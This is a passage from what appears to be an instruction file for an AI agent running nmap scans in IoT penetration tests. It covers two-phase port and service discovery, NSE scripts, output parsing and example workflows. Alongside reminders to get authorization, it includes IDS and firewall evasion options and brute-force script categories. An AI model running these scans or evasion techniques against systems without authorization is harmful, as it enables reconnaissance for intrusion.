| 205 | ### Default Workflow (Two-Phase Strategy) 206 | 207 | **Phase 1: Port Discovery** 208 | 1. Run fast SYN scan: `sudo nmap -p- -oA /nmap-portscan` 209 | 2. Check for "Host seems down" and retry with `-Pn` if needed 210 | 3. Wait for scan to complete (typically 1-3 minutes) 211 | 212 | **Phase 2: Service Detection** 213 | 4. Parse open ports from Phase 1 results 214 | 5. Run targeted service detection: `nmap -p -sV -sC -oA /nmap-services` 215 | 6. Wait for scan to complete (typically 1-3 minutes) 216 | 217 | **Phase 3: Analysis** 218 | 7. Review the service detection results to determine: 219 | - What services are running? 220 | - What versions are detected? 221 | - Are there any interesting services (web, SSH, database, IoT protocols)? 222 | - Do NSE scripts reveal any issues? 223 | 224 | ### Additional Targeted Scans (Optional) 225 | Based on service detection results, run specialized scans: 226 | 227 | **If web services found (80, 443, 8080, etc.)**: 228 | ```bash 229 | nmap -p 80,443,8080,8443 --script http-* -oA /nmap-web 230 | ``` 231 | 232 | **If SSH found**: 233 | ```bash 234 | nmap -p 22 --script ssh-* -oA /nmap-ssh 235 | ``` 236 | 237 | **If RTSP found (554)**: 238 | ```bash 239 | nmap -p 554 --script rtsp-* -oA /nmap-rtsp 240 | ``` 241 | 242 | **If ONVIF/camera suspected**: 243 | ```bash 244 | nmap -p 80,554,8000,8080 --script http-methods,http-headers -oA /nmap-onvif 245 | ``` 246 | 247 | 248 | ## Output Management 249 | 250 | ### Output Formats 251 | Always use `-oA ` to generate all three formats: 252 | - `.nmap` - Normal human-readable format 253 | - `.xml` - XML format for parsing/importing into tools 254 | - `.gnmap` - Grepable format for command-line processing 255 | 256 | 257 | ## Timing and Performance 258 | 259 | ### Timing Templates 260 | Use `-T<0-5>` to control scan speed: 261 | - `-T0` (Paranoid): Extremely slow, for IDS evasion 262 | - `-T1` (Sneaky): Very slow, for IDS evasion 263 | - `-T2` (Polite): Slow, less bandwidth intensive 264 | - `-T3` (Normal): Default, balanced speed 265 | - `-T4` (Aggressive): Fast, recommended for modern networks 266 | - `-T5` (Insane): Very fast, may miss results 267 | 268 | **Default**: Use `-T3` or omit (default is T3) 269 | **Fast scans**: Use `-T4` when speed is important and network can handle it 270 | **Stealth**: Use `-T1` or `-T2` for evasion 271 | 272 | ### Timeout Considerations 273 | - Phase 1 Port Discovery (sudo nmap -p-): 180-300 seconds timeout (3-5 minutes) 274 | - Phase 2 Service Detection (nmap -p -sV -sC): 120-180 seconds timeout (2-3 minutes) 275 | - UDP scan: 600+ seconds timeout (very slow) 276 | 277 | ## Network Ranges 278 | 279 | ### Single Host 280 | ```bash 281 | nmap 282 | ``` 283 | 284 | ### CIDR Notation 285 | ```bash 286 | nmap 192.168.1.0/24 287 | ``` 288 | 289 | ### IP Range 290 | ```bash 291 | nmap 192.168.1.1-254 292 | ``` 293 | 294 | ### Multiple Hosts 295 | ```bash 296 | nmap 192.168.1.1 192.168.1.10 192.168.1.100 297 | ``` 298 | 299 | ### Exclude Hosts 300 | ```bash 301 | nmap 192.168.1.0/24 --exclude 192.168.1.1,192.168.1.254 302 | ``` 303 | 304 | ## NSE Scripts 305 | 306 | ### Common Script Categories 307 | ```bash 308 | # Authentication scripts 309 | nmap --script auth 310 | 311 | # Brute force scripts 312 | nmap --script brute 313 | 314 | # Default safe scripts 315 | nmap -sC # equivalent to --script default 316 | 317 | # Discovery scripts 318 | nmap --script discovery 319 | 320 | # Vulnerability scripts 321 | nmap --script vuln 322 | 323 | # All HTTP scripts 324 | nmap --script "http-*" 325 | ``` 326 | 327 | ### IoT-Specific Scripts 328 | ```bash 329 | # RTSP enumeration 330 | nmap -p 554 --script rtsp-methods,rtsp-url-brute 331 | 332 | # UPnP discovery 333 | nmap -p 1900 --script upnp-info 334 | 335 | # MQTT discovery 336 | nmap -p 1883,8883 --script mqtt-subscribe 337 | 338 | # Modbus enumeration 339 | nmap -p 502 --script modbus-discover 340 | ``` 341 | 342 | ## Result Analysis 343 | 344 | ### Key Information to Extract 345 | 346 | 1. **Open Ports and Services** 347 | - What ports are open? 348 | - What services are running? 349 | - What versions are detected? 350 | 351 | 2. **Service Fingerprints** 352 | - Does version detection reveal outdated software? 353 | - Are there known vulnerabilities for detected versions? 354 | 355 | 3. **NSE Script Results** 356 | - Authentication issues? 357 | - Information disclosure? 358 | - Misconfigurations? 359 | 360 | 4. **Operating System** 361 | - What OS is running? 362 | - What OS version? 363 | 364 | ### Parsing Nmap Output 365 | 366 | **Extract open ports**: 367 | ```bash 368 | grep "^[0-9]" nmap-output.nmap | grep "open" 369 | ``` 370 | 371 | **Extract service versions**: 372 | ```bash 373 | grep -E "^[0-9]+/tcp.*open" nmap-output.nmap 374 | ``` 375 | 376 | **Check for vulnerabilities in NSE output**: 377 | ```bash 378 | grep -i "vuln\|cve\|exploit" nmap-output.nmap 379 | ``` 380 | 381 | ## Common IoT Service Ports 382 | 383 | When scanning IoT devices, pay special attention to: 384 | 385 | | Port | Service | Description | 386 | |------|---------|-------------| 387 | | 21 | FTP | File transfer (often misconfigured) | 388 | | 22 | SSH | Remote administration | 389 | | 23 | Telnet | Insecure remote access | 390 | | 80 | HTTP | Web interface | 391 | | 443 | HTTPS | Secure web interface | 392 | | 554 | RTSP | Video streaming | 393 | | 1883 | MQTT | IoT messaging protocol | 394 | | 3702 | WS-Discovery | ONVIF device discovery | 395 | | 5000 | UPnP | Universal Plug and Play | 396 | | 8000 | HTTP Alt | Alternative HTTP port | 397 | | 8080 | HTTP Proxy | Alternative HTTP port | 398 | | 8883 | MQTT/TLS | Secure MQTT | 399 | 400 | ## Best Practices 401 | 402 | ### 1. Always Save Output 403 | Never run nmap without saving output: 404 | ```bash 405 | # GOOD 406 | nmap -p -sV -sC -oA output/nmap-services 407 | 408 | # BAD 409 | nmap -sV -sC 410 | ``` 411 | 412 | ### 2. Always Use Two-Phase Strategy 413 | Always use the default two-phase strategy unless explicitly told otherwise: 414 | ```bash 415 | # Phase 1: Fast port discovery 416 | sudo nmap -p- -oA nmap-portscan 417 | 418 | # Phase 2: Service detection on open ports 419 | nmap -p -sV -sC -oA nmap-services 420 | ``` 421 | 422 | ### 3. Use Appropriate Timing 423 | Match timing to your needs: 424 | ```bash 425 | # Pentest with authorization: Fast 426 | nmap -sV -sC -T4 427 | 428 | # Red team/stealth: Slow 429 | nmap -sV -sC -T2 430 | ``` 431 | 432 | ### 4. Document Scan Parameters 433 | Always document: 434 | - What scan type was used? 435 | - What date/time was scan performed? 436 | - What were the scan results? 437 | - Any anomalies or errors? 438 | 439 | ### 5. Respect Authorization 440 | - Only scan systems you have permission to scan 441 | - Respect scope limitations 442 | - Be aware of scan impact on production systems 443 | - Use appropriate timing to avoid DoS 444 | 445 | ## Integration with IoT Testing Workflow 446 | 447 | ### For IoT Pentests 448 | 1. Run default two-phase scan (port discovery + service detection) 449 | 2. Run wsdiscovery if ONVIF suspected based on open ports 450 | 3. Run onvifscan if port 80/554 open on camera 451 | 4. Run targeted HTTP scripts if web interface found 452 | 453 | ### Output Directory Usage 454 | Always save to an organized output directory: 455 | ```bash 456 | OUTPUT_DIR="./nmap-output" 457 | mkdir -p "$OUTPUT_DIR" 458 | 459 | # Phase 1: Port discovery 460 | sudo nmap -p- -oA "$OUTPUT_DIR/nmap-portscan" 461 | 462 | # Phase 2: Service detection 463 | nmap -p -sV -sC -oA "$OUTPUT_DIR/nmap-services" 464 | ``` 465 | 466 | ## Troubleshooting 467 | 468 | ### Scan Taking Too Long 469 | - Use `-T4` for faster scanning 470 | - Limit port range: `-p 1-1000` instead of `-p-` 471 | - Use `--top-ports 100` instead of all ports 472 | 473 | ### No Results / Firewalled 474 | - Try different scan types: `-sS`, `-sT`, `-sA` 475 | - Use `-Pn` to skip host discovery 476 | - Try `-f` for fragmented packets 477 | - Consider using `--source-port 53` or other trusted ports 478 | 479 | ### Requires Root/Sudo 480 | These scan types require root: 481 | - `-sS` (SYN scan) 482 | - `-sU` (UDP scan) 483 | - `-O` (OS detection) 484 | - Raw packet features 485 | 486 | ### Permission Denied Errors 487 | If you see "Permission denied" or "Operation not permitted": 488 | ```bash 489 | # Run with sudo 490 | sudo nmap 491 | ``` 492 | 493 | ## Example Workflows 494 | 495 | ### Workflow 1: Standard Single Target Scan (Default) 496 | ```bash 497 | TARGET="192.168.1.100" 498 | OUTPUT_DIR="./nmap-output" 499 | mkdir -p "$OUTPUT_DIR" 500 | 501 | # Phase 1: Fast port discovery 502 | sudo nmap -p- $TARGET -oA "$OUTPUT_DIR/nmap-portscan" 503 | 504 | # Check for "Host seems down" 505 | if grep -q "Host seems down" "$OUTPUT_DIR/nmap-portscan.nmap"; then 506 | sudo nmap -p- -Pn $TARGET -oA "$OUTPUT_DIR/nmap-portscan" 507 | fi 508 | 509 | # Parse open ports 510 | OPEN_PORTS=$(grep "^[0-9]" "$OUTPUT_DIR/nmap-portscan.nmap" | grep "open" | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//') 511 | 512 | # Phase 2: Service detection 513 | if [ -n "$OPEN_PORTS" ]; then 514 | nmap -p "$OPEN_PORTS" -sV -sC $TARGET -oA "$OUTPUT_DIR/nmap-services" 515 | fi 516 | ``` 517 | 518 | ### Workflow 2: IoT Camera Testing 519 | ```bash 520 | OUTPUT_DIR="./nmap-output" 521 | mkdir -p "$OUTPUT_DIR" 522 | 523 | # 1. Run default two-phase scan 524 | sudo nmap -p- 192.168.1.100 -oA "$OUTPUT_DIR/nmap-portscan" 525 | OPEN_PORTS=$(grep "^[0-9]" "$OUTPUT_DIR/nmap-portscan.nmap" | grep "open" | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//') 526 | nmap -p "$OPEN_PORTS" -sV -sC 192.168.1.100 -oA "$OUTPUT_DIR/nmap-services" 527 | 528 | # 2. If ONVIF camera detected, check HTTP methods 529 | nmap -p 80 --script http-methods 192.168.1.100 -oA "$OUTPUT_DIR/nmap-http" 530 | 531 | # 3. Check RTSP service 532 | nmap -p 554 --script rtsp-methods 192.168.1.100 -oA "$OUTPUT_DIR/nmap-rtsp" 533 | ``` 534 | 535 | ### Workflow 3: Additional UDP/OS Detection 536 | ```bash 537 | OUTPUT_DIR="./nmap-output" 538 | 539 | # After completing default two-phase scan, optionally add: 540 | 541 | # UDP scan (top ports) 542 | sudo nmap -sU --top-ports 100 -oA "$OUTPUT_DIR/nmap-udp" 543 | 544 | # OS detection 545 | sudo nmap -O -oA "$OUTPUT_DIR/nmap-os" 546 | 547 | # Vulnerability scan 548 | nmap -sV --script vuln -oA "$OUTPUT_DIR/nmap-vuln" 549 | ``` 550 | 551 | ## Questions to Ask User 552 | 553 | Before starting scans, clarify: 554 | 555 | 1. **Target**: What is the IP address or network range? 556 | 2. **Scope**: Single host or network range? 557 | 3. **Scan Type**: Use default two-phase strategy or user has specific requirements? 558 | 4. **Authorization**: Do you have permission to scan this target? 559 | 5. **Special interests**: Any specific services or ports to focus on after initial scan? 560 | 561 | Note: Output is saved to `./nmap-output/` by default. 562 | 563 | ## Success Criteria 564 | 565 | A successful nmap scan includes: 566 | 567 | - Phase 1 port discovery completed without errors 568 | - Phase 2 service detection completed on all open ports 569 | - Results saved in all formats (-oA) in output directory 570 | - Open ports identified with service versions 571 | - NSE scripts executed successfully 572 | - Results documented and ready for analysis 573 | - Clear summary provided showing: 574 | - Number of open ports found 575 | - Key services detected 576 | - Location of output files 577 | --------------------------------------------------------------------------------